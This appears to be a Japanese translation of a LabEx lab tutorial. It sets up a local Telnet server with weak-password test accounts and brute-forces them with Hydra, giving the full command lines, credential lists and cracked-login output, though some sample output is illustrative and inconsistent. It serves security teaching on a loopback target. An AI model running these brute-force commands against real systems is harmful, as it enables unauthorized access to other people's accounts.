Hydra を使用した Telnet サービスへの攻撃

HydraHydraBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験(Lab)では、多用途なパスワードクラッキングツールである Hydra を使用して、Telnet サービスに対するブルートフォース攻撃を実行する方法を学びます。脆弱な Telnet 環境を構築し、Hydra を使用して、脆弱な認証情報がどのように悪用されるかを実証します。

この実験(Lab)では、Telnet サーバーの構成、テスト用認証情報の作成、およびセキュリティリスクを強調するための Hydra 攻撃の実行について説明します。実践的な練習を通して、Telnet が安全でない理由を理解し、暗号化された代替手段を使用することの重要性を学びます。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/installation("Installation and Setup") hydra/HydraGroup -.-> hydra/password_creation("Password List Creation") hydra/HydraGroup -.-> hydra/username_creation("Username List Creation") hydra/HydraGroup -.-> hydra/output_saving("Output File Saving") hydra/HydraGroup -.-> hydra/verbose_mode("Verbose Mode Usage") hydra/HydraGroup -.-> hydra/multiple_targets("Multiple Targets Attack") hydra/HydraGroup -.-> hydra/success_detection("Login Success Detection") hydra/HydraGroup -.-> hydra/troubleshooting("Basic Troubleshooting") subgraph Lab Skills hydra/installation -.-> lab-549916{{"Hydra を使用した Telnet サービスへの攻撃"}} hydra/password_creation -.-> lab-549916{{"Hydra を使用した Telnet サービスへの攻撃"}} hydra/username_creation -.-> lab-549916{{"Hydra を使用した Telnet サービスへの攻撃"}} hydra/output_saving -.-> lab-549916{{"Hydra を使用した Telnet サービスへの攻撃"}} hydra/verbose_mode -.-> lab-549916{{"Hydra を使用した Telnet サービスへの攻撃"}} hydra/multiple_targets -.-> lab-549916{{"Hydra を使用した Telnet サービスへの攻撃"}} hydra/success_detection -.-> lab-549916{{"Hydra を使用した Telnet サービスへの攻撃"}} hydra/troubleshooting -.-> lab-549916{{"Hydra を使用した Telnet サービスへの攻撃"}} end

ローカル Telnet サーバーのインストール

このステップでは、ローカルテスト環境を作成するために、LabEx VM に Telnet サーバーをインストールします。Telnet は最も古いネットワークプロトコルの 1 つであり、システムへのリモートアクセスを可能にします。ただし、すべてのデータ(パスワードを含む)を暗号化せずに平文で送信するため、実際の使用には非常に安全ではありませんが、セキュリティテストの概念を学習するには最適です。

  1. まず、パッケージリストを更新して、最新バージョンを入手できるようにします。これは、新しいソフトウェアをインストールする前の良い習慣です。
sudo apt update
  1. Telnet サーバーパッケージ(xinetd)をインストールします。Xinetd は、Telnet 接続を管理するスーパーサーバーです。-yフラグは、インストール中のプロンプトを自動的に確認します。
sudo apt install -y xinetd telnetd
  1. /etc/xinetd.d/telnetに Telnet 構成ファイルを作成します。ここでは、ほとんどの Linux システムに付属しているシンプルなテキストエディタである nano を使用します。
sudo nano /etc/xinetd.d/telnet
  1. 次の構成を追加します(Ctrl + O を押して保存し、Ctrl + X を押して終了します)。この構成は、Telnet サービスを有効にし、基本的なパラメータを設定します。disable = no行は、サービスをアクティブにするため特に重要です。
service telnet
{
        disable         = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = root
        server          = /usr/sbin/in.telnetd
        log_on_failure  += USERID
}
  1. xinetd サービスを再起動して、変更を適用します。構成を変更した後は、サービスを再起動する必要があることがよくあります。
sudo service xinetd restart
  1. Telnet サービスが実行されていることを確認します。ポート 23 は、Telnet のデフォルトポートです。netstatコマンドは、アクティブなネットワーク接続とリッスンポートを表示します。
sudo netstat -tulnp
setup telnet server

次のような出力が表示され、Telnet サービスがポート 23 でリッスンしていることが示されます。

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      22/sshd: /usr/sbin/
tcp        0      0 0.0.0.0:3001            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:3002            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.11:38203        0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      22/sshd: /usr/sbin/
tcp6       0      0 :::23                   :::*                    LISTEN      1620/xinetd
udp        0      0 0.0.0.0:3001            0.0.0.0:*                           -
udp        0      0 127.0.0.11:54421        0.0.0.0:*                           -

テストアカウントを使用した Telnet の構成

このステップでは、Hydra ブルートフォース攻撃のデモンストレーションに使用されるテストアカウントを作成します。これらのアカウントは、実際(リアル)のシステムで見られる一般的な脆弱な認証情報を表しており、攻撃者が不適切なパスワード慣行をどのように悪用するかを安全に実証できます。

  1. まず、useraddコマンドを使用して、3 つのテストユーザーアカウントを作成します。-mフラグは、各ユーザーのホームディレクトリが作成されるようにします。
sudo useradd -m user1
sudo useradd -m user2
sudo useradd -m user3
  1. 次に、これらのアカウントに簡単なパスワードを設定します。実際(リアル)の脆弱性をシミュレートするために、一般的な脆弱なパスワード('password'、'123456'、'qwerty')を使用しています。chpasswdコマンドは、インタラクティブなプロンプトなしでパスワードを安全に変更します。
echo "user1:password" | sudo chpasswd
echo "user2:123456" | sudo chpasswd
echo "user3:qwerty" | sudo chpasswd
  1. システムのパスワードファイルを確認して、アカウントが正常に作成されたことを確認します。grepコマンドは、すべてのユーザーアカウント情報を格納する/etc/passwd内のテストユーザーをフィルタリングします。
grep -E 'user1|user2|user3' /etc/passwd

次のような出力が表示されます。

user1:x:5001:5001::/home/user1:/bin/sh
user2:x:5002:5003::/home/user2:/bin/sh
user3:x:5003:5004::/home/user3:/bin/sh
  1. プロジェクトディレクトリに Hydra 攻撃用の認証情報ファイルを作成します。これらのテキストファイルは、ブルートフォース試行中のユーザー名とパスワードの組み合わせに対する Hydra の入力として機能します。
cd ~/project
echo -e "user1\nuser2\nuser3" > usernames.txt
echo -e "password\n123456\nqwerty" > passwords.txt
  1. 認証情報ファイルに正しい情報が含まれていることを確認します。catコマンドはファイルの内容を表示します。Hydra の要件に合わせて適切な形式になっていることを確認するために、両方のファイルをチェックしています。
cat usernames.txt && cat passwords.txt

次のように表示されます。

user1
user2
user3
password
123456
qwerty

ユーザー名とパスワードファイルのロード

このステップでは、Hydra がブルートフォース攻撃に使用する認証情報ファイルを準備します。これらのファイルには、前のステップで作成したユーザー名とパスワードが含まれています。ブルートフォース攻撃は、正しいものが見つかるまで、可能なすべての認証情報の組み合わせを体系的に試すことによって機能します。適切に整理された認証情報ファイルがあると、このプロセスがより効率的になります。

  1. まず、認証情報ファイルがプロジェクトディレクトリに存在することを確認します。Hydra が攻撃を実行するにはこれらのファイルが必要なため、これは重要です。
cd ~/project
ls -l usernames.txt passwords.txt

次のような出力が表示されます。

-rw-r--r-- 1 labex labex 12 May  1 10:00 passwords.txt
-rw-r--r-- 1 labex labex 12 May  1 10:00 usernames.txt
  1. 両方のファイルの内容を表示して、適切にフォーマットされていることを確認します。Hydra は各ユーザー名とパスワードを 1 行ずつ読み取るため、それぞれ別の行にある必要があります。
echo "Usernames:" && cat usernames.txt
echo "Passwords:" && cat passwords.txt

期待される出力:

Usernames:
user1
user2
user3
Passwords:
password
123456
qwerty
  1. テスト目的で、結合された認証情報ファイルを作成します。この結合されたファイルは、ユーザー名とパスワードのペアを並べて表示し、それらが正しく一致していることを確認するのに役立ちます。
paste usernames.txt passwords.txt > credentials.txt
cat credentials.txt

これにより、次のように表示されます。

user1   password
user2   123456
user3   qwerty
  1. Hydra がまだ存在しない場合はインストールします(ただし、LabEx VM にプリインストールされているはずです)。Hydra は、Telnet サービスに対してブルートフォース攻撃を実行するために使用するツールです。
sudo apt install -y hydra hydra-gtk
  1. Hydra がインストールされていることを確認し、そのバージョンを確認します。バージョンを理解することは、トラブルシューティングや特定の機能を調べる際に役立ちます。
hydra -h | head -n 5

次のように始まる Hydra のヘルプ出力が表示されます。

Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Telnet サービスに対する Hydra 攻撃の実行

このステップでは、Hydra を使用して、以前に準備した認証情報ファイルを使用して、ローカルの Telnet サーバーに対してブルートフォース攻撃を実行します。Hydra は、Telnet を含む複数のプロトコルをサポートする一般的なパスワードクラッキングツールです。攻撃は、ファイルからのすべてのユーザー名/パスワードの組み合わせを体系的に試みます。

  1. まず、認証情報ファイルが保存されているプロジェクトディレクトリにいることを確認します。Hydra がこれらのファイルにアクセスする必要があるため、これは重要です。
cd ~/project
  1. 次に、ローカルの Telnet サービスに対して Hydra を実行します(127.0.0.1 は、自分のマシンを指すループバックアドレスです)。-L フラグはユーザー名リストを指定し、-P はパスワードリストを指定します。
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1
  1. Hydra の実行中、リアルタイムの進行状況が表示されます。各行は試行された組み合わせを示しています。成功すると、次のように有効な認証情報が表示されます。
[DATA] attacking telnet://127.0.0.1:23/
[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password
1 of 1 target successfully completed, 3 valid passwords found
run hydra attack
  1. ドキュメント化または詳細な分析のために結果を保存するには、-o フラグの後に、出力ファイル名を指定します。
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1 -o hydra_results.txt
  1. 攻撃が完了したら、結果ファイルを表示して、どの認証情報が機能したかを確認できます。
cat hydra_results.txt

成功したログイン試行を示すサンプル出力:

[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password
  1. 教育目的で、各試行を詳細に確認したい場合があります。-vV フラグは詳細(verbose)モードを有効にし、Hydra が試行するすべての組み合わせを表示します。
hydra -vV -L usernames.txt -P passwords.txt telnet://127.0.0.1

詳細出力は次のようになり、失敗した試行と成功した試行の両方が表示されます。

[VERBOSE] Attempting user1:password... [SUCCESS]

Telnet 攻撃の出力の確認

このステップでは、Telnet サービスに対する Hydra のブルートフォース攻撃の結果を分析して、どの認証情報が侵害されたかを理解します。Hydra は、サービスに対して複数のユーザー名/パスワードの組み合わせをテストし、出力ファイルには、成功したすべてのログインと失敗した試行が含まれています。

  1. まず、Hydra が結果を保存したプロジェクトディレクトリに移動し、完全な出力ファイルを表示します。
cd ~/project
cat hydra_results.txt

サンプル出力は、成功したログインの形式を示しています。各行には、プロトコル(telnet)、ターゲット IP アドレス、およびクラックされた認証情報が含まれています。

[23][telnet] host: 127.0.0.1   login: user1   password: password
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
  1. 潜在的に大きな出力ファイルから成功したログイン試行のみをフィルタリングするには、grep を使用して「login:」を含む行を検索します。
grep "login:" hydra_results.txt
  1. 発見された認証情報を使用して手動で Telnet ログインを試行し、侵害されたアカウントを確認します。これにより、Hydra の調査結果が確認され、攻撃者が盗まれた認証情報をどのように使用するかが示されます。
telnet 127.0.0.1

ログインプロンプトで次のように入力します。

user1
password

ログインに成功すると、サーバーのウェルカムメッセージとコマンドプロンプトが表示されます。

Welcome to LabEx Telnet Server
user1@localhost:~$

テストが完了したら、exitと入力して Telnet セッションを終了します。

  1. ドキュメント化のために、侵害されたアカウントの専門的なサマリーレポートを作成します。これにより、フォーマットされた結果とカウントを含む新しいファイルが作成されます。
echo "Compromised Accounts:" > attack_summary.txt
grep "login:" hydra_results.txt >> attack_summary.txt
echo -e "\nTotal compromised: $(grep -c "login:" hydra_results.txt)" >> attack_summary.txt
cat attack_summary.txt

まとめ

この実験(Lab)では、セキュリティテストの目的で、xinetd と脆弱な認証情報を使用して、脆弱な Telnet サーバー環境をセットアップする方法を学びました。このプロセスには、ポート 23 での Telnet サービスの設定と、認証の脆弱性を示すために、意図的に弱いパスワードを持つテストアカウントの作成が含まれていました。

この演習(exercise)では、Telnet のような暗号化されていないプロトコルを使用することのセキュリティリスクと、強力なパスワードポリシーを実装することの重要性が強調されました。Hydra を使用した実践的なデモンストレーションを通じて、ブルートフォース攻撃が脆弱な認証メカニズムを持つシステムをいかに簡単に侵害できるかを観察しました。